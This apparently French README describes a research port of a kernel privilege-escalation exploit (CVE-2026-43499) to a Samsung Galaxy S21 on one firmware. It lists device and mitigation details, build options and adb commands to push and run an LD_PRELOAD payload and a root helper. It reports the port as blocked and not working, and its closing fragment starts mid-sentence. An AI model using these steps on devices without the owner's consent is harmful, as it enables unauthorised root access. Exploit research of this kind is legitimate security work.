
Recherche de chaîne d'exploitation ciblant CVE-2026-43499 sur Samsung Galaxy S21
Charge utile IonStack spécifique à l'appareil pour le Samsung Galaxy S21 (o1s) sous
firmware G991BXXSJHZC2. Fournit un root volatil via un exploit LD_PRELOAD +
un démon root-helper call_usermodehelper (même forme que IonStack-S22U /
IONSTACK-S22). Statut : recherche — bloqué, voir RESEARCH.md.
| Champ | Valeur |
|---|---|
| Modèle | SM-G991B |
| Appareil | o1s |
| Firmware | G991BXXSJHZC2 |
| Android | 12 / API 31 (AP3A.240905.015.A2, fingerprint samsung/o1sxeea/o1s) |
| Taille de page | 4096 |
| Noyau | 5.4.242-30958140-abG991BXXSJHZC2 |
| SoC | Exynos 2100 |
| Mitigations | CFI+PAC+PAN/UAO, KDP_CRED, SELinux enforcing, pas de userfaultfd |
Basé sur l'implémentation IonStack de CVE-2026-43499 publiée dans
NebuSec/CyberMeowfia (amont b850d3bddc74c3328d5fbcc0568d21962b55d949)
et BuSung-dev/CVE-2026-43499-S25U, avec remerciements à F-19-F/IonStackQuest3.
Licence Apache 2.0 amont conservée dans LICENSE (voir NOTICE).
Makefile build (NDK r27+, ANDROID_NDK_HOME)
src/ source de l'exploit (profil o1s uniquement)
src/targets/o1s-G991BXXSJHZC2/ target.h + p0_fingerprint.h
src/kernelsnitch/ fuite de mm_struct (collision de hash futex)
tools/ helper de fingerprint p0
RESEARCH.md notes de recherche (géométrie, verdicts)
export ANDROID_NDK_HOME=/path/to/android-ndk
make clean all
# SLIDE_WRITER_SEL=1|2|3 sélectionne les writers mcast/sigreturn(défaut)/xattr.
# Non défini sélectionne le writer pselect expérimental (voir RESEARCH.md).
Sorties (build/o1s-G991BXXSJHZC2/) :
cve-2026-43499 (charge utile LD_PRELOAD), cve-2026-43499-app.so (charge utile app),
cve-2026-43499-root (root helper).
adb push build/o1s-G991BXXSJHZC2/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/o1s-G991BXXSJHZC2/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
# en cas de succès :
/adb shell "/data/local/tmp/cve-2026-43499-root -c 'id; getenforce'"
Le root (s'il est obtenu) ne subsiste que jusqu'au redémarrage ; rien n'est flashé.
sched_setattr → rt_mutex_adjust_prio_chain → _raw_spin_trylock faute NULL) sans jamais
poser le stamp : le champ lock de 8 octets se trouve dans un copy-gap qu'aucun
appel système bloquant étudié ne couvre (carte de profondeur par appel système vérifiée par désassemblage dans
RESEARCH.md). Le gate de récupération par pipe échoue systématiquement (0/0)./data/local/tmp est effacé au redémarrage — repoussez
les binaires après chaque démarrage.